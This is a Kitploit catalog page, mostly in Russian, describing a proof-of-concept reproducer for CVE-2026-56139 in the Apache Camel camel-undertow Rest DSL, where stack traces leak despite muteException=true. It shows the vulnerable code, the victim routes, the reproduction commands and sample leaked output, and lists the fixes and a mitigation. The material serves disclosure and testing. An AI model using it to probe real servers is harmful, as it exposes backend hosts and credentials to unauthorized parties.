Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-56139 — PoC reproducer for CVE-2026-56139 (Apache Camel camel-undertow Rest DSL): the Rest DSL binding hard-codes muteException=false, so a configured muteException=true is ignored and an uncaught exception's full stack trace is returned to the client (CWE-209). Fixed in 4.14.8/4.18.3/4.21.0. | Kitploit
Инструменты/GitHubGitHub/oscerd/cve-2026-56139
Vulnerability AnalysisExploitationInformation GatheringWeb SecurityPenetration TestingLearning & Education
GitHuboscerd/cve-2026-56139

CVE-2026-56139

Репозиторий
29 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

PoC reproducer for CVE-2026-56139 (Apache Camel camel-undertow Rest DSL): the Rest DSL binding hard-codes muteException=false, so a configured muteException=true is ignored and an uncaught exception's full stack trace is returned to the client (CWE-209). Fixed in 4.14.8/4.18.3/4.21.0.

Поделиться

camel-undertow Rest DSL muteException Stack-Trace Disclosure Reproducer (CVE-2026-56139)

Этот проект демонстрирует проблему раскрытия информации в потребителе camel-undertow Rest DSL Apache Camel, отслеживаемую как CVE-2026-56139. Опция muteException управляет тем, возвращается ли клиенту HTTP детали необработанного исключения. На обычном конечной точке undertow опция работает — но Rest DSL undertow создаёт свою привязку ответа с muteException, жёстко закодированным в false, и никогда не копирует настроенное значение, поэтому muteException молча игнорируется в режиме REST, и полный стек-трейс Java всё равно возвращается:

root@kitploit:~
// UndertowComponent (affected 4.18.2) — the Rest DSL binding is created without the endpoint's muteException
if (!map.containsKey("undertowHttpBinding")) {
    endpoint.setUndertowHttpBinding(new RestUndertowHttpBinding(endpoint.isUseStreaming()));  // muteException stays false
}

Поскольку undertowHttpBinding конечной точки теперь не равен null, UndertowEndpoint.getUndertowHttpBinding() возвращает эту Rest-привязку как есть и никогда не выполняет ветку, которая копирует на неё muteException конечной точки. Таким образом, маршрут, явно устанавливающий muteException=true, всё равно утекает стек-трейсы при обслуживании через Rest DSL — раскрывая внутренние имена хостов бэкенда, URL базы данных, подсказки учётных данных/хранилища, версии библиотек и местоположения исходного кода.

Данный PoC демонстрирует воздействие как раскрытие информации через сообщение об ошибке (CWE-209). Это аналог CVE-2026-49365 (который исправил значение по умолчанию muteException для обычных конечных точек camel-netty-http и camel-undertow), специфичный для Rest DSL; оба были исправлены вместе в рамках CAMEL-23651.

Консультация: https://camel.apache.org/security/CVE-2026-56139.html

Сводка по уязвимости

Исправление заставляет путь Rest DSL копировать endpoint.getMuteException() в RestUndertowHttpBinding, поэтому Rest DSL учитывает настройку (и исправленное значение по умолчанию true).

Маршруты-жертвы

root@kitploit:~
// Both configured with muteException=true (camel.component.undertow.mute-exception=true):
restConfiguration().component("undertow").host("0.0.0.0").port(8888);
rest("/api").get("/orders").to("direct:boom");            // Rest DSL — IGNORES muteException, leaks
from("direct:boom").process(new FailingProcessor());

from("undertow:http://0.0.0.0:8889/plain/orders")         // plain endpoint — HONOURS muteException, empty body
    .process(new FailingProcessor());

Структура репозитория

root@kitploit:~
CVE-2026-56139/
├── pom.xml                 # camel-undertow 4.18.2
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── FailingProcessor.java   # throws an exception carrying sensitive internal detail
    │   ├── RestRoutes.java         # undertow Rest DSL (:8888) + plain undertow endpoint (:8889)
    │   └── ExploitController.java  # attacker: GETs both, shows Rest DSL leaks while plain is muted
    └── resources/
        └── application.properties  # camel.component.undertow.mute-exception=true

Предварительные требования

  • Docker и Docker Compose
  • Java 17+ и Maven 3.8+

Шаги воспроизведения

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Ожидаемый вывод (сокращённый)

root@kitploit:~
1) undertow Rest DSL :8888  (muteException=true, but the Rest binding hard-codes false)
     HTTP 500
     response body (NNNN bytes) — LEAKS internal detail:
       | java.lang.IllegalStateException: Inventory lookup failed: cannot connect to
       |   jdbc:postgresql://prod-db.internal:5432/inventory (user=svc_inventory, ...)
       | 	at com.example.FailingProcessor.process(FailingProcessor.java:...)
       | 	...[truncated]

2) plain undertow endpoint :8889  (same muteException=true — honoured)
     HTTP 500
     response body: <empty>

>>> Information disclosure: true

Рекомендуемое исправление

Обновитесь до 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23651). После обновления undertow Rest DSL учитывает muteException (и по умолчанию устанавливает его в true), поэтому стек-трейс не возвращается.

Снижение риска

До обновления добавьте onException(...).handled(true) (или глобальный обработчик ошибок), который возвращает общее сообщение вместо стек-трейса, и не полагайтесь только на muteException для потребителей undertow Rest DSL.

Отказ от ответственности

Данный воспроизводитель предоставляется только для исследований безопасности и авторизованного тестирования уязвимости, которая была публично раскрыта и исправлена. Не используйте его против систем без явного разрешения.

Скачать инструмент
СвойствоЗначение
Компонентcamel-undertow (потребитель Rest DSL)
Затронутый классorg.apache.camel.component.undertow.UndertowComponent — создаёт RestUndertowHttpBinding без копирования muteException (который поэтому по умолчанию false)
CWECWE-209 (Формирование сообщения об ошибке, содержащего конфиденциальную информацию)
ВоздействиеПолный стек-трейс Java возвращается неаутентифицированному клиенту, даже если настроено muteException=true
УсловияПотребитель undertow Rest DSL; любой запрос, вызывающий исключение при обработке
Затронутые версииС 4.0.0 до 4.14.8, с 4.15.0 до 4.18.3, с 4.19.0 до 4.21.0
Исправленные версии4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23651 (PR apache/camel#23913)
АвторYu Bao (PayPal)